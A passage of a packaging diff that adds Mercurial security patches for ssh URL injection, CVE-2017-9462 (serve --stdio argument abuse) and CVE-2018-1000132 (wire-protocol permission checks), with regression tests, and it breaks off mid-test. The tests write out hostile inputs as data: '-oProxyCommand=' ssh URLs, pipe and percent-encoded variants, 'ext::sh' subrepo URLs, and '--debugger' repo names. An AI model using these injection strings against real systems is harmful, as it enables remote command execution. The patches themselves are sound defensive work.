owned%20foo@example.com/nonexistent/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path' ++ [255] ++ ++#if windows ++ $ hg clone "ssh://%26touch%20owned%20/" --debug ++ running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio" ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++ $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug ++ running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio" ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++#else ++ $ hg clone "ssh://%3btouch%20owned%20/" --debug ++ running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio' ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++ $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug ++ running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio' ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++#endif ++ ++ $ hg clone "ssh://v-alid.example.com/" --debug ++ running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re) ++ sending hello command ++ sending between command ++ abort: no suitable response from remote hg! ++ [255] ++ ++We should not have created a file named owned - if it exists, the ++attack succeeded. ++ $ if test -f owned; then echo 'you got owned'; fi +diff --git a/tests/test-pull.t b/tests/test-pull.t +index 01356a6..c08f0a7 100644 +--- a/tests/test-pull.t ++++ b/tests/test-pull.t +@@ -89,4 +89,26 @@ regular shell commands. + $ URL=`python -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"` + $ hg pull -q "$URL" + ++SEC: check for unsafe ssh url ++ ++ $ cat >> $HGRCPATH << EOF ++ > [ui] ++ > ssh = sh -c "read l; read l; read l" ++ > EOF ++ ++ $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path' ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' ++ [255] ++ $ hg pull 'ssh://fakehost|touch${IFS}owned/path' ++ abort: no suitable response from remote hg! ++ [255] ++ $ hg pull 'ssh://fakehost%7Ctouch%20owned/path' ++ abort: no suitable response from remote hg! ++ [255] ++ ++ $ [ ! -f owned ] || echo 'you got owned' ++ + $ cd .. +diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t +index 24cb6a2..70a09ce 100644 +--- a/tests/test-subrepo-git.t ++++ b/tests/test-subrepo-git.t +@@ -564,7 +564,7 @@ test for Git CVE-2016-3068 + $ cd malicious-subrepository + $ echo "s = [git]ext::sh -c echo% pwned% >&2" > .hgsub + $ git init s +- Initialized empty Git repository in $TESTTMP/tc/malicious-subrepository/s/.git/ ++ Initialized empty Git repository in $TESTTMP/malicious-subrepository/s/.git/ + $ cd s + $ git commit --allow-empty -m 'empty' + [master (root-commit) 153f934] empty +@@ -573,7 +573,7 @@ test for Git CVE-2016-3068 + $ hg commit -m "add subrepo" + $ cd .. + $ env -u GIT_ALLOW_PROTOCOL hg clone malicious-subrepository malicious-subrepository-protected +- Cloning into '$TESTTMP/tc/malicious-subrepository-protected/s'... ++ Cloning into '$TESTTMP/malicious-subrepository-protected/s'... + fatal: transport 'ext' not allowed + updating to branch default + cloning subrepo s from ext::sh -c echo% pwned% >&2 +@@ -582,7 +582,6 @@ test for Git CVE-2016-3068 + + whitelisting of ext should be respected (that's the git submodule behaviour) + $ env GIT_ALLOW_PROTOCOL=ext hg clone malicious-subrepository malicious-subrepository-clone-allowed +- Cloning into '$TESTTMP/tc/malicious-subrepository-clone-allowed/s'... + pwned + fatal: Could not read from remote repository. + +@@ -592,3 +591,35 @@ whitelisting of ext should be respected (that's the git submodule behaviour) + cloning subrepo s from ext::sh -c echo% pwned% >&2 + abort: git clone error 128 in s (in subrepo s) + [255] ++ ++test for ssh exploit with git subrepos 2017-07-25 ++ ++ $ hg init malicious-proxycommand ++ $ cd malicious-proxycommand ++ $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub ++ $ git init s ++ Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/ ++ $ cd s ++ $ git commit --allow-empty -m 'empty' ++ [master (root-commit) 153f934] empty ++ $ cd .. ++ $ hg add .hgsub ++ $ hg ci -m 'add subrepo' ++ $ cd .. ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) ++ [255] ++ ++also check that a percent encoded '-' (%2D) doesn't work ++ ++ $ cd malicious-proxycommand ++ $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub ++ $ hg ci -m 'change url to percent encoded' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s) ++ [255] ++ +diff --git a/tests/test-subrepo-svn.t b/tests/test-subrepo-svn.t +index dde08d0..1216808 100644 +--- a/tests/test-subrepo-svn.t ++++ b/tests/test-subrepo-svn.t +@@ -623,3 +623,43 @@ well. + Checked out revision 15. + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ cd .. ++ ++SEC: test for ssh exploit ++ ++ $ hg init ssh-vuln ++ $ cd ssh-vuln ++ $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub ++ $ svn co --quiet "$SVNREPOURL"/src s ++ $ hg add .hgsub ++ $ hg ci -m1 ++ $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub ++ $ hg ci -m2 ++ $ cd .. ++ $ hg clone ssh-vuln ssh-vuln-clone ++ updating to branch default ++ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) ++ [255] ++ ++also check that a percent encoded '-' (%2D) doesn't work ++ ++ $ cd ssh-vuln ++ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub ++ $ hg ci -m3 ++ $ cd .. ++ $ rm -r ssh-vuln-clone ++ $ hg clone ssh-vuln ssh-vuln-clone ++ updating to branch default ++ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s) ++ [255] ++ ++also check that hiding the attack in the username doesn't work: ++ ++ $ cd ssh-vuln ++ $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub ++ $ hg ci -m3 ++ $ cd .. ++ $ rm -r ssh-vuln-clone ++ $ hg clone ssh-vuln ssh-vuln-clone ++ updating to branch default ++ abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s) ++ [255] +diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t +index c0d017c..d4bde48 100644 +--- a/tests/test-subrepo.t ++++ b/tests/test-subrepo.t +@@ -1214,3 +1214,77 @@ Courtesy phases synchronisation to publishing server does not block the push + no changes found + [1] + ++ ++test for ssh exploit 2017-07-25 ++ ++ $ cat >> $HGRCPATH << EOF ++ > [ui] ++ > ssh = sh -c "read l; read l; read l" ++ > EOF ++ ++ $ hg init malicious-proxycommand ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub ++ $ hg init s ++ $ cd s ++ $ echo init > init ++ $ hg add ++ adding init ++ $ hg commit -m init ++ $ cd .. ++ $ hg add .hgsub ++ $ hg ci -m 'add subrepo' ++ $ cd .. ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) ++ [255] ++ ++also check that a percent encoded '-' (%2D) doesn't work ++ ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub ++ $ hg ci -m 'change url to percent encoded' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s) ++ [255] ++ ++also check for a pipe ++ ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub ++ $ hg ci -m 'change url to pipe' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: no suitable response from remote hg! ++ [255] ++ $ [ ! -f owned ] || echo 'you got owned' ++ ++also check that a percent encoded '|' (%7C) doesn't work ++ ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub ++ $ hg ci -m 'change url to percent encoded pipe' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: no suitable response from remote hg! ++ [255] ++ $ [ ! -f owned ] || echo 'you got owned' ++ ++and bad usernames: ++ $ cd malicious-proxycommand ++ $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub ++ $ hg ci -m 'owned username' ++ $ cd .. ++ $ rm -r malicious-proxycommand-clone ++ $ hg clone malicious-proxycommand malicious-proxycommand-clone ++ updating to branch default ++ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s) ++ [255] diff --git a/SOURCES/mercurial-cve-2017-9462.patch b/SOURCES/mercurial-cve-2017-9462.patch new file mode 100644 index 0000000..8835a81 --- /dev/null +++ b/SOURCES/mercurial-cve-2017-9462.patch @@ -0,0 +1,140 @@ +diff --git a/contrib/hg-ssh b/contrib/hg-ssh +index 5ec5100..c643f97 100755 +--- a/contrib/hg-ssh ++++ b/contrib/hg-ssh +@@ -32,7 +32,7 @@ command="hg-ssh --read-only repos/*" + # enable importing on demand to reduce startup time + from mercurial import demandimport; demandimport.enable() + +-from mercurial import dispatch ++from mercurial import dispatch, ui as uimod + + import sys, os, shlex + +@@ -61,14 +61,15 @@ def main(): + repo = os.path.normpath(os.path.join(cwd, os.path.expanduser(path))) + if repo in allowed_paths: + cmd = ['-R', repo, 'serve', '--stdio'] ++ req = dispatch.request(cmd) + if readonly: +- cmd += [ +- '--config', +- 'hooks.prechangegroup.hg-ssh=python:__main__.rejectpush', +- '--config', +- 'hooks.prepushkey.hg-ssh=python:__main__.rejectpush' +- ] +- dispatch.dispatch(dispatch.request(cmd)) ++ if not req.ui: ++ req.ui = uimod.ui() ++ req.ui.setconfig('hooks', 'pretxnopen.hg-ssh', ++ 'python:__main__.rejectpush', 'hg-ssh') ++ req.ui.setconfig('hooks', 'prepushkey.hg-ssh', ++ 'python:__main__.rejectpush', 'hg-ssh') ++ dispatch.dispatch(req) + else: + sys.stderr.write('Illegal repository "%s"\n' % repo) + sys.exit(255) +diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py +index fa2532d..99e1d5b 100644 +--- a/mercurial/dispatch.py ++++ b/mercurial/dispatch.py +@@ -87,6 +87,36 @@ def _runcatch(req): + pass # happens if called in a thread + + try: ++ realcmd = None ++ try: ++ cmdargs = fancyopts.fancyopts(req.args[:], commands.globalopts, {}) ++ cmd = cmdargs[0] ++ aliases, entry = cmdutil.findcmd(cmd, commands.table, False) ++ realcmd = aliases[0] ++ except (error.UnknownCommand, error.AmbiguousCommand, ++ IndexError, fancyopts.getopt.GetoptError): ++ # Don't handle this here. We know the command is ++ # invalid, but all we're worried about for now is that ++ # it's not a command that server operators expect to ++ # be safe to offer to users in a sandbox. ++ pass ++ if realcmd == 'serve' and '--stdio' in cmdargs: ++ # We want to constrain 'hg serve --stdio' instances pretty ++ # closely, as many shared-ssh access tools want to grant ++ # access to run *only* 'hg -R $repo serve --stdio'. We ++ # restrict to exactly that set of arguments, and prohibit ++ # any repo name that starts with '--' to prevent ++ # shenanigans wherein a user does something like pass ++ # --debugger or --config=ui.debugger=1 as a repo ++ # name. This used to actually run the debugger. ++ if (len(req.args) != 4 or ++ req.args[0] != '-R' or ++ req.args[1].startswith('--') or ++ req.args[2] != 'serve' or ++ req.args[3] != '--stdio'): ++ raise error.Abort( ++ _('potentially unsafe serve --stdio invocation: %r') % ++ (req.args,)) + try: + # enter the debugger before command execution + if '--debugger' in req.args: +diff --git a/tests/test-hup.t b/tests/test-hup.t +deleted file mode 100644 +index 9745643..0000000 +--- a/tests/test-hup.t ++++ /dev/null +@@ -1,28 +0,0 @@ +-Test hangup signal in the middle of transaction +- +- $ "$TESTDIR/hghave" serve fifo || exit 80 +- $ hg init +- $ mkfifo p +- $ hg serve --stdio < p 1>out 2>&1 & +- $ P=$! +- +-Do test while holding fifo open +- +- $ ( +- > echo lock +- > echo addchangegroup +- > while [ ! -s .hg/store/journal ]; do sleep 0; done +- > kill -HUP $P +- > ) > p +- +- $ wait +- $ cat out +- 0 +- 0 +- adding changesets +- transaction abort! +- rollback completed +- killed! +- +- $ echo .hg/* .hg/store/* +- .hg/00changelog.i .hg/journal.bookmarks .hg/journal.branch .hg/journal.desc .hg/journal.dirstate .hg/requires .hg/store .hg/store/00changelog.i .hg/store/00changelog.i.a .hg/store/journal.phaseroots +diff --git a/tests/test-ssh.t b/tests/test-ssh.t +index f1584af..ad60b0e 100644 +--- a/tests/test-ssh.t ++++ b/tests/test-ssh.t +@@ -291,6 +291,19 @@ Test (non-)escaping of remote paths with spaces when cloning (issue3145): + abort: destination 'a repo' is not empty + [255] + ++Make sure hg is really paranoid in serve --stdio mode. It used to be ++possible to get a debugger REPL by specifying a repo named --debugger. ++ $ hg -R --debugger serve --stdio ++ abort: potentially unsafe serve --stdio invocation: ['-R', '--debugger', 'serve', '--stdio'] ++ [255] ++ $ hg -R --config=ui.debugger=yes serve --stdio ++ abort: potentially unsafe serve --stdio invocation: ['-R', '--config=ui.debugger=yes', 'serve', '--stdio'] ++ [255] ++Abbreviations of 'serve' also don't work, to avoid shenanigans. ++ $ hg -R narf serv --stdio ++ abort: potentially unsafe serve --stdio invocation: ['-R', 'narf', 'serv', '--stdio'] ++ [255] ++ + Test hg-ssh using a helper script that will restore PYTHONPATH (which might + have been cleared by a hg.exe wrapper) and invoke hg-ssh with the right + parameters: +@@ -382,3 +395,4 @@ Test hg-ssh in read-only mode: + Got arguments 1:user@dummy 2:hg -R 'a repo' serve --stdio + Got arguments 1:user@dummy 2:hg -R 'a repo' serve --stdio + Got arguments 1:user@dummy 2:hg -R 'a repo' serve --stdio ++ changegroup-in-remote hook: HG_NODE=f9f0a8007dba27625503c51182b535f85fd4bb6b HG_SOURCE=serve HG_URL=remote:ssh: diff --git a/SOURCES/mercurial-cve-2018-1000132.patch b/SOURCES/mercurial-cve-2018-1000132.patch new file mode 100644 index 0000000..4f22e0c --- /dev/null +++ b/SOURCES/mercurial-cve-2018-1000132.patch @@ -0,0 +1,1865 @@ +diff -r cceaf7af4c9e hgext/largefiles/uisetup.py +--- a/hgext/largefiles/uisetup.py Sat Jun 01 17:09:41 2013 -0500 ++++ b/hgext/largefiles/uisetup.py Tue Jul 03 11:25:06 2018 +0200 +@@ -11,7 +11,7 @@ + from mercurial import archival, cmdutil, commands, extensions, filemerge, hg, \ + httppeer, localrepo, merge, scmutil, sshpeer, wireproto, revset + from mercurial.i18n import _ +-from mercurial.hgweb import hgweb_mod, webcommands ++from mercurial.hgweb import webcommands + from mercurial.subrepo import hgsubrepo + + import overrides +@@ -134,9 +134,10 @@ + + # make putlfile behave the same as push and {get,stat}lfile behave + # the same as pull w.r.t. permissions checks +- hgweb_mod.perms['putlfile'] = 'push' +- hgweb_mod.perms['getlfile'] = 'pull' +- hgweb_mod.perms['statlfile'] = 'pull' ++ wireproto.permissions['putlfile'] = 'push' ++ wireproto.permissions['getlfile'] = 'pull' ++ wireproto.permissions['statlfile'] = 'pull' ++ wireproto.permissions['lheads'] = 'pull' + + extensions.wrapfunction(webcommands, 'decodepath', overrides.decodepath) + +diff -r cceaf7af4c9e mercurial/hgweb/hgweb_mod.py +--- a/mercurial/hgweb/hgweb_mod.py Sat Jun 01 17:09:41 2013 -0500 ++++ b/mercurial/hgweb/hgweb_mod.py Tue Jul 03 11:25:06 2018 +0200 +@@ -7,7 +7,7 @@ + # GNU General Public License version 2 or any later version. + + import os +-from mercurial import ui, hg, hook, error, encoding, templater, util, repoview ++from mercurial import ui, hg, hook, error, encoding, templater, util, repoview, wireproto + from mercurial.templatefilters import websub + from mercurial.i18n import _ + from common import get_stat, ErrorResponse, permhooks, caching +@@ -16,15 +16,8 @@ + from request import wsgirequest + import webcommands, protocol, webutil, re + +-perms = { +- 'changegroup': 'pull', +- 'changegroupsubset': 'pull', +- 'getbundle': 'pull', +- 'stream_out': 'pull', +- 'listkeys': 'pull', +- 'unbundle': 'push', +- 'pushkey': 'push', +-} ++# Aliased for API compatibility. ++perms = wireproto.permissions + + def makebreadcrumb(url, prefix=''): + '''Return a 'URL breadcrumb' list +@@ -165,8 +158,13 @@ + try: + if query: + raise ErrorResponse(HTTP_NOT_FOUND) +- if cmd in perms: +- self.check_perm(req, perms[cmd]) ++ ++ req.checkperm = lambda op: self.check_perm(req, op) ++ # Assume commands with no defined permissions are writes / ++ # for pushes. This is the safest from a security perspective ++ # because it doesn't allow commands with undefined semantics ++ # from bypassing permissions checks. ++ req.checkperm(perms.get(cmd, 'push')) + return protocol.call(self.repo, req, cmd) + except ErrorResponse, inst: + # A client that sends unbundle without 100-continue will +diff -r cceaf7af4c9e mercurial/hgweb/protocol.py +--- a/mercurial/hgweb/protocol.py Sat Jun 01 17:09:41 2013 -0500 ++++ b/mercurial/hgweb/protocol.py Tue Jul 03 11:25:06 2018 +0200 +@@ -17,6 +17,7 @@ + self.req = req + self.response = '' + self.ui = ui ++ self.checkperm = req.checkperm + def getargs(self, args): + knownargs = self._args() + data = {} +diff -r cceaf7af4c9e mercurial/wireproto.py +--- a/mercurial/wireproto.py Sat Jun 01 17:09:41 2013 -0500 ++++ b/mercurial/wireproto.py Tue Jul 03 11:25:06 2018 +0200 +@@ -11,6 +11,10 @@ + import changegroup as changegroupmod + import peer, error, encoding, util, store + ++# Maps wire protocol name to operation type. This is used for permissions ++# checking. ++permissions = {} ++ + # abstract batching support + + class future(object): +@@ -361,6 +365,15 @@ + % (cmd, ",".join(others))) + return opts + ++def wireprotocommand(name, args=''): ++ """decorator for wire protocol command""" ++ def register(func): ++ commands[name] = (func, args) ++ return func ++ return register ++ ++# TODO define a more appropriate permissions type to use for this. ++permissions['batch'] = 'pull' + def batch(repo, proto, cmds, others): + repo = repo.filtered("served") + res = [] +@@ -372,6 +385,17 @@ + n, v = a.split('=') + vals[n] = unescapearg(v) + func, spec = commands[op] ++ ++ # If the protocol supports permissions checking, perform that ++ # checking on each batched command. ++ # TODO formalize permission checking as part of protocol interface. ++ if util.safehasattr(proto, 'checkperm'): ++ # Assume commands with no defined permissions are writes / for ++ # pushes. This is the safest from a security perspective because ++ # it doesn't allow commands with undefined semantics from ++ # bypassing permissions checks. ++ proto.checkperm(permissions.get(op, 'push')) ++ + if spec: + keys = spec.split() + data = {} +@@ -392,6 +416,7 @@ + res.append(escapearg(result)) + return ';'.join(res) + ++permissions['between'] = 'pull' + def between(repo, proto, pairs): + pairs = [decodelist(p, '-') for p in pairs.split(" ")] + r = [] +@@ -399,6 +424,7 @@ + r.append(encodelist(b) + "\n") + return "".join(r) + ++permissions['branchmap'] = 'pull' + def branchmap(repo, proto): + branchmap = repo.branchmap() + heads = [] +@@ -408,6 +434,7 @@ + heads.append('%s %s' % (branchname, branchnodes)) + return '\n'.join(heads) + ++permissions['branches'] = 'pull' + def branches(repo, proto, nodes): + nodes = decodelist(nodes) + r = [] +@@ -415,6 +442,7 @@ + r.append(encodelist(b) + "\n") + return "".join(r) + ++permissions['capabilities'] = 'pull' + def capabilities(repo, proto): + caps = ('lookup changegroupsubset branchmap pushkey known getbundle ' + 'unbundlehash batch').split() +@@ -432,22 +460,26 @@ + caps.append('httpheader=1024') + return ' '.join(caps) + ++permissions['changegroup'] = 'pull' + def changegroup(repo, proto, roots): + nodes = decodelist(roots) + cg = repo.changegroup(nodes, 'serve') + return streamres(proto.groupchunks(cg)) + ++permissions['changegroupsubset'] = 'pull' + def changegroupsubset(repo, proto, bases, heads): + bases = decodelist(bases) + heads = decodelist(heads) + cg = repo.changegroupsubset(bases, heads, 'serve') + return streamres(proto.groupchunks(cg)) + ++permissions['debugwireargs'] = 'pull' + def debugwireargs(repo, proto, one, two, others): + # only accept optional args from the known set + opts = options('debugwireargs', ['three', 'four'], others) + return repo.debugwireargs(one, two, **opts) + ++permissions['getbundle'] = 'pull' + def getbundle(repo, proto, others): + opts = options('getbundle', ['heads', 'common'], others) + for k, v in opts.iteritems(): +@@ -455,10 +487,12 @@ + cg = repo.getbundle('serve', **opts) + return streamres(proto.groupchunks(cg)) + ++permissions['heads'] = 'pull' + def heads(repo, proto): + h = repo.heads() + return encodelist(h) + "\n" + ++permissions['hello'] = 'pull' + def hello(repo, proto): + '''the hello command returns a set of lines describing various + interesting things about the server, in an RFC822-like format. +@@ -469,12 +503,14 @@ + ''' + return "capabilities: %s\n" % (capabilities(repo, proto)) + ++permissions['listkeys'] = 'pull' + def listkeys(repo, proto, namespace): + d = repo.listkeys(encoding.tolocal(namespace)).items() + t = '\n'.join(['%s\t%s' % (encoding.fromlocal(k), encoding.fromlocal(v)) + for k, v in d]) + return t + ++permissions['lookup'] = 'pull' + def lookup(repo, proto, key): + try: + k = encoding.tolocal(key) +@@ -486,9 +522,11 @@ + success = 0 + return "%s %s\n" % (success, r) + ++permissions['known'] = 'pull' + def known(repo, proto, nodes, others): + return ''.join(b and "1" or "0" for b in repo.known(decodelist(nodes))) + ++permissions['pushkey'] = 'push' + def pushkey(repo, proto, namespace, key, old, new): + # compatibility with pre-1.8 clients which were accidentally + # sending raw binary nodes rather than utf-8-encoded hex +@@ -523,6 +561,7 @@ + def _allowstream(ui): + return ui.configbool('server', 'uncompressed', True, untrusted=True) + ++permissions['stream_out'] = 'pull' + def stream(repo, proto): + '''If the server supports streaming clone, it advertises the "stream" + capability with a value representing the version and flags of the repo +@@ -589,6 +628,7 @@ + + return streamres(streamer(repo, entries, total_bytes)) + ++permissions['unbundle'] = 'push' + def unbundle(repo, proto, heads): + their_heads = decodelist(heads) + +diff -r cceaf7af4c9e tests/get-with-headers.py +--- a/tests/get-with-headers.py Sat Jun 01 17:09:41 2013 -0500 ++++ b/tests/get-with-headers.py Tue Jul 03 11:25:06 2018 +0200 +@@ -3,6 +3,7 @@ + """This does HTTP GET requests given a host:port and path and returns + a subset of the headers plus the body of the result.""" + ++import argparse + import httplib, sys + + try: +@@ -12,14 +13,22 @@ + except ImportError: + pass + +-twice = False +-if '--twice' in sys.argv: +- sys.argv.remove('--twice') +- twice = True +-headeronly = False +-if '--headeronly' in sys.argv: +- sys.argv.remove('--headeronly') +- headeronly = True ++parser = argparse.ArgumentParser() ++parser.add_argument('--twice', action='store_true') ++parser.add_argument('--headeronly', action='store_true') ++parser.add_argument('--requestheader', nargs='*', default=[], ++ help='Send an additional HTTP request header. Argument ' ++ 'value is
=') ++parser.add_argument('--bodyfile', ++ help='Write HTTP response body to a file') ++parser.add_argument('host') ++parser.add_argument('path') ++parser.add_argument('show', nargs='*') ++args = parser.parse_args() ++ ++twice = args.twice ++headeronly = args.headeronly ++requestheaders = args.requestheader + + reasons = {'Not modified': 'Not Modified'} # python 2.4 + +@@ -31,6 +40,10 @@ + if tag: + headers['If-None-Match'] = tag + ++ for header in requestheaders: ++ key, value = header.split('=', 1) ++ headers[key] = value ++ + conn = httplib.HTTPConnection(host) + conn.request("GET", '/' + path, None, headers) + response = conn.getresponse() +@@ -44,16 +57,22 @@ + if not headeronly: + print + data = response.read() +- sys.stdout.write(data) ++ if args.bodyfile: ++ bodyfh = open(args.bodyfile, 'wb') ++ else: ++ bodyfh = sys.stdout ++ bodyfh.write(data) + + if twice and response.getheader('ETag', None): + tag = response.getheader('ETag') + ++ if args.bodyfile: ++ bodyfh.close() + return response.status + +-status = request(sys.argv[1], sys.argv[2], sys.argv[3:]) ++status = request(args.host, args.path, args.show) + if twice: +- status = request(sys.argv[1], sys.argv[2], sys.argv[3:]) ++ status = request(args.host, args.path, args.show) + + if 200 <= status <= 305: + sys.exit(0) +diff -r cceaf7af4c9e tests/killdaemons.py +--- a/tests/killdaemons.py Sat Jun 01 17:09:41 2013 -0500 ++++ b/tests/killdaemons.py Tue Jul 03 11:25:06 2018 +0200 +@@ -49,6 +49,10 @@ + pass + + if __name__ == '__main__': +- path, = sys.argv[1:] ++ if len(sys.argv) > 1: ++ path, = sys.argv[1:] ++ else: ++ path = os.environ["DAEMON_PIDS"] ++ + killdaemons(path) + +diff -r cceaf7af4c9e tests/run-tests.py +--- a/tests/run-tests.py Sat Jun 01 17:09:41 2013 -0500 ++++ b/tests/run-tests.py Tue Jul 03 11:25:06 2018 +0200 +@@ -1321,6 +1321,7 @@ + os.environ["HGPORT"] = str(options.port) + os.environ["HGPORT1"] = str(options.port + 1) + os.environ["HGPORT2"] = str(options.port + 2) ++ os.environ["LOCALIP"] = '127.0.0.1' + + if options.with_hg: + INST = None +diff -r cceaf7af4c9e tests/test-http-permissions.t +--- /dev/null Thu Jan 01 00:00:00 1970 +0000 ++++ b/tests/test-http-permissions.t Tue Jul 03 11:25:06 2018 +0200 +@@ -0,0 +1,1491 @@ ++#require killdaemons ++ ++ $ cat > fakeremoteuser.py << EOF ++ > import os ++ > from mercurial.hgweb import hgweb_mod ++ > from mercurial import wireproto ++ > class testenvhgweb(hgweb_mod.hgweb): ++ > def __call__(self, env, respond): ++ > # Allow REMOTE_USER to define authenticated user. ++ > if r'REMOTE_USER' in os.environ: ++ > env[r'REMOTE_USER'] = os.environ[r'REMOTE_USER'] ++ > # Allow REQUEST_METHOD to override HTTP method ++ > if r'REQUEST_METHOD' in os.environ: ++ > env[r'REQUEST_METHOD'] = os.environ[r'REQUEST_METHOD'] ++ > return super(testenvhgweb, self).__call__(env, respond) ++ > hgweb_mod.hgweb = testenvhgweb ++ > ++ > @wireproto.wireprotocommand('customreadnoperm') ++ > def customread(repo, proto): ++ > return b'read-only command no defined permissions\n' ++ > @wireproto.wireprotocommand('customwritenoperm') ++ > def customwritenoperm(repo, proto): ++ > return b'write command no defined permissions\n' ++ > wireproto.permissions['customreadwithperm'] = 'pull' ++ > @wireproto.wireprotocommand('customreadwithperm') ++ > def customreadwithperm(repo, proto): ++ > return b'read-only command w/ defined permissions\n' ++ > wireproto.permissions['customwritewithperm'] = 'push' ++ > @wireproto.wireprotocommand('customwritewithperm') ++ > def customwritewithperm(repo, proto): ++ > return b'write command w/ defined permissions\n' ++ > EOF ++ ++ $ cat >> $HGRCPATH << EOF ++ > [extensions] ++ > fakeremoteuser = $TESTTMP/fakeremoteuser.py ++ > EOF ++ ++ $ hg init test ++ $ cd test ++ $ echo a > a ++ $ hg ci -Ama ++ adding a ++ $ cd .. ++ $ hg clone test test2 ++ updating to branch default ++ 1 files updated, 0 files merged, 0 files removed, 0 files unresolved ++ $ cd test2 ++ $ echo a >> a ++ $ hg ci -mb ++ $ hg book bm -r 0 ++ $ cd ../test ++ ++web.deny_read=* prevents access to wire protocol for all users ++ ++ $ cat > .hg/hgrc < [web] ++ > deny_read = * ++ > EOF ++ ++ $ hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=capabilities' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=stream_out' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=listkeys' --requestheader 'x-hgarg-1=namespace=phases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=batch' --requestheader 'x-hgarg-1=cmds=listkeys+namespace%3Dphases' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadnoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customreadwithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritenoperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ "$TESTDIR/get-with-headers.py" $LOCALIP:$HGPORT '?cmd=customwritewithperm' ++ 401 read not authorized ++ ++ 0 ++ read not authorized ++ [1] ++ ++ $ hg --cwd ../test2 pull http://localhost:$HGPORT/ ++ abort: authorization failed ++ [255] ++ ++ $ "$TESTDIR/killdaemons.py" ++ ++web.deny_read=* with REMOTE_USER set still locks out clients ++ ++ $ REMOTE_USER=authed_user hg serve -p $HGPORT -d --pid-file hg.pid ++ $ cat hg.pid > $DAEMON_PIDS ++ ++ $ 